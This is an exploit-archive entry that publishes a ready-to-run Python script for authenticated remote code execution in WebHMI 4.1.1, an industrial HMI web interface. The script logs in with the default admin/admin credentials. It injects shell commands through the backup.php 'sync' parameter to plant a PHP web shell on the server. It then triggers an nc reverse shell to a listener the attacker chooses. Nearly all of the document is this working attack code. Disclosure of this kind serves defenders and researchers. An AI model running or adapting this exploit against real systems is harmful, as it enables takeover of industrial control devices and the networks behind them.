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WebHMI 4.1.1 Remote Code Execution

WebHMI 4.1.1 Remote Code Execution
Posted Feb 23, 2022
Authored by Antonio Cuomo

WebHMI version 4.1.1 suffers from an authenticated remote code execution vulnerability.

tags | exploit, remote, code execution
SHA-256 | 9ec2ea072428767210d471852bd4785bd1f9aab93fa6e35bbeb57de5af3141b1

WebHMI 4.1.1 Remote Code Execution

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# Exploit Title: WebHMI 4.1.1 - Remote Code Execution (RCE) (Authenticated)
# Date: 03/01/2022
# Exploit Author: Antonio Cuomo (arkantolo)
# Vendor Homepage: https://webhmi.com.ua/en/
# Version: WebHMI 4.1.1.7662
# Tested on: WebHMI-4.1.1.7662

#!/usr/bin/python
import sys
import re
import argparse
import requests
import time
import subprocess

print("\nWebHMI 4.1.1 - Remote Code Execution (Authenticated)","\nExploit Author: Antonio Cuomo (Arkantolo)\n")
print("Level2 account must be enabled !\n");

login = "admin"
password = "admin"

class Exploit:

def __init__(self, target_ip, target_port, localhost, localport):
self.target_ip = target_ip
self.target_port = target_port
self.localhost = localhost
self.localport = localport

def exploitation(self):
reverse = """rm+/tmp/f%3bmknod+/tmp/f+p%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+""" + localhost + """+""" + localport + """+>/tmp/f"""
payload = "<?php+system($_GET['c']);+?>"

headers_login = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36',
'Accept': 'application/json, text/javascript, */*; q=0.01',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/json',
'X-WH-LOGIN': login,
'X-WH-PASSWORD': password,
'X-Requested-With': 'XMLHttpRequest',
'Connection': 'close',
'Content-Length': '0'
}

url = 'http://' + target_ip + ':' + target_port
r = requests.Session()

print('[*] Resolving URL...')
r1 = r.get(url)
time.sleep(3)

print('[*] Trying to log in...')
r2 = r.post(url + '/api/signin', headers=headers_login, allow_redirects=True)
time.sleep(3)

print('[*] Login redirection...')
login_cookies = {
'X-WH-SESSION-ID':r2.headers['X-WH-SESSION-ID'],
'X-WH-CHECK-TRIAL':'true',
'il18next':'en',
}
r3 = r.post(url + '/login.php?sid=' + r2.headers['X-WH-SESSION-ID'] + '&uid=1',cookies=login_cookies)
time.sleep(3)

print('[*] Bypassing basedir...')
for i in range(0, len(payload)):
#print(payload[i])
rp = r.get(url + '/setup/backup.php?sync=`echo%20-n%20"' + payload[i] + '">>cmd.php`', cookies=login_cookies)
time.sleep(0.2)

print('[*] Setting up listener...')
listener = subprocess.Popen(["nc", "-nlp", self.localport])
time.sleep(2)

print('[*] Executing payload...')
time.sleep(1)
print('[*] Waiting reverse shell...')
r4 = r.get(url + '/setup/cmd.php?c=`' + reverse + '`.bak', cookies=login_cookies)

if (r4.status_code == 200):
print('[*] Got shell!')
while True:
listener.wait()
else:
print('[-] Something went wrong!')
listener.terminate()

def get_args():
parser = argparse.ArgumentParser(description='WebHMI 4.1.1 - Remote Code Execution (Authenticated)')
parser.add_argument('-t', '--target', dest="url", required=True, action='store', help='Target IP')
parser.add_argument('-p', '--port', dest="target_port", required=True, action='store', help='Target port')
parser.add_argument('-L', '--listener-ip', dest="localhost", required=True, action='store', help='Local listening IP')
parser.add_argument('-P', '--localport', dest="localport", required=True, action='store', help='Local listening port')
args = parser.parse_args()
return args

args = get_args()
target_ip = args.url
target_port = args.target_port
localhost = args.localhost
localport = args.localport

exp = Exploit(target_ip, target_port, localhost, localport)
exp.exploitation()


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